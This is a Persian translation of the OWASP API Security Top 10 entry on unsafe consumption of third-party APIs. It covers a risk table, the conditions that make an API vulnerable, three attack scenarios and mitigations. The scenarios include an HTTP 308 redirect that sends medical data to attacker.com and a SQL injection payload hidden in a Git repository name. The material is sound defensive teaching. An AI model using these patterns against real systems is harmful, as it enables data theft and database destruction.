OWASP API Security Top 10: 0xaa unsafe consumption of apis

# API10:2023 استفاده ناایمن از APIها

| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد |
|---------|--------------------|------------|
| خاص API / قابلیت بهره‌برداری: آسان |  میزان شیوع: متداول/ قابلیت تشخیص: متوسط              | پیامد فنی: شدید / خاص کسب و کار
| برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده را شناسایی کرده و به آنها نفوذ کند. این اطلاعات به صورت عمومی در دسترس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند.              | توسعه‌دهندگان معمولا به endpointهای APIهای خارجی یا طرف ثالثی که در ارتباط هستند، اعتماد می‌کنند. آنها این تصور را دارند که الزامات امنیتی ضعیف‌تری مانند امنیت در انتقال اطلاعات، احراز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط را تامین می‌کند. مهاجمان باید خدماتی را که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها را مختل کرده یا به صورت غیرمجاز به آنها دسترسی پیدا کنند.     | پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی دارد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اشخاص غیرمجاز شود. انواع مختلف حملاتی که در نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است رخ دهد مانند حملات تزریق‌ها یا DoD خواهد بود.         |

## آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟

توسعه‌دهندگان معمولاً به داده‌های دریافتی از API‌های طرف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای API‌های ارائه شده توسط شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری را در بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی اتخاذ می‌کنند.

API‌ها ممکن است در معرض آسیب‌پذیری باشند اگر:

- با سایر API ها از طریق یک کانال بدون رمزگذاری ارتباط برقرار کنند.
- داده‌های جمع‌آوری شده از دیگر API ها را قبل از پردازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند. 
- محدودیتی در پاسخ‌دهی به درخواست‌های پی‌در‌پی نداشته باشند.
- تعداد منابع مورد نیاز برای پردازش پاسخ‌های سرویس‌های طرف ثالث را محدود نکنند. 
- بازه زمانی محدود برای ارتباط با سرویس‌های طرف ثالث مشخص نکنند.

## مثال‌‌هایی از سناریوهای حمله

### سناریو #1

در این سناریو، یک API از آدرس‌های کسب و کار یک سرویس طرف ثالث استفاده می‌کند. وقتی یک کاربر آدرسی را به API  ارائه می‌دهد، آن آدرس به سرویس طرف ثالث ارسال شده و اطلاعات بازگشتی در یک پایگاه داده محلی SQL  ذخیره می‌شود. اشخاص با نیت مخرب، از سرویس طرف ثالث برای ذخیره کردن کدهای تزریقSQL  (SQLi) استفاده می‌کنند. سپس با بکارگیری API آسیب‌پذیر و درج ورودی‌های خاص، می‌تواند اطلاعات مرتبط با کسب و کار آلوده شده را از سرویس طرف ثالث دریافت کند. در نهایت، کدهای تزریق شده SQL از طریق پایگاه داده اجرا شده و توسط مهاجم به سرور کنترلی ارسال می‌شوند. این کار سبب می‌شود تا مهاجم به طور غیرمجاز اطلاعات را از دیتابیس بازیابی کرده و بر روی سرور خود کنترل کند. 

### سناریو #2

یک API با یک ارائه‌دهنده خدمات طرف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران را به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک درخواست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند:

```http
POST /user/store_phr_record
{
  "genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
```

مهاجمین با نیت مخرب، باعث می‌شوند که این سرویس به جای پاسخ معمولی به درخواست‌ها، پاسخ‌هایی با کد 308 Permanent Redirect ارسال کند. کد 308 به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران را به مکان دیگری منتقل کند.

```http
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
```

در نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس طرف ثالث، به سروری تحت کنترل مهاجم، ارسال می‌شود.

### سناریو #3

مهاجمی یک مخزن Git با نام `'; drop db;--` ایجاد می‌کند. وقتی اتصالی از برنامه تحت حمله با مخزن مخرب برقرار شود، برنامه نام مخزن را به عنوان یک ورودی امن در نظر می‌گیرد.

## چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟
---
- **ارزیابی ارائه‌دهندگان خدمات**: هنگام انتخاب ارائه‌دهندگان خدمات طرف ثالث، امنیت API آنها را به دقت ارزیابی کرده و آن‌هایی را انتخاب کنید که دارای سابقه قوی در زمینه امنیت و حفاظت از داده‌ها هستند.
- **ارتباط امن**: اطمینان حاصل کنید که تمام تعاملات با API‌ها از طریق یک کانال ارتباطی امن (TLS) صورت می‌گیرد. این کار باعث می‌شود که داده‌ها در زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود. 
- **اعتبارسنجی و تصفیه داده**: همیشه داده‌های دریافتی از API‌ها را اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند.
- **نگهداری لیست مجاز (Allowlist)**: یک لیست مجاز از مکان‌های شناخته‌شده‌ای که API‌ها ممکن است به آنها هدایت شوند را نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید.

## مراجع

### OWASP

- [Web Service Security Cheat Sheet][1]
- [Injection Flaws][2]
- [Input Validation Cheat Sheet][3]
- [Injection Prevention Cheat Sheet][4]
- [Transport Layer Protection Cheat Sheet][5]
- [Unvalidated Redirects and Forwards Cheat Sheet][6]

### خارجی

- [CWE-20: Improper Input Validation][7]
- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8]
- [CWE-319: Cleartext Transmission of Sensitive Information][9]

[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html
[2]: https://www.owasp.org/index.php/Injection_Flaws
[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html
[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
[7]: https://cwe.mitre.org/data/definitions/20.html
[8]: https://cwe.mitre.org/data/definitions/200.html
[9]: https://cwe.mitre.org/data/definitions/319.html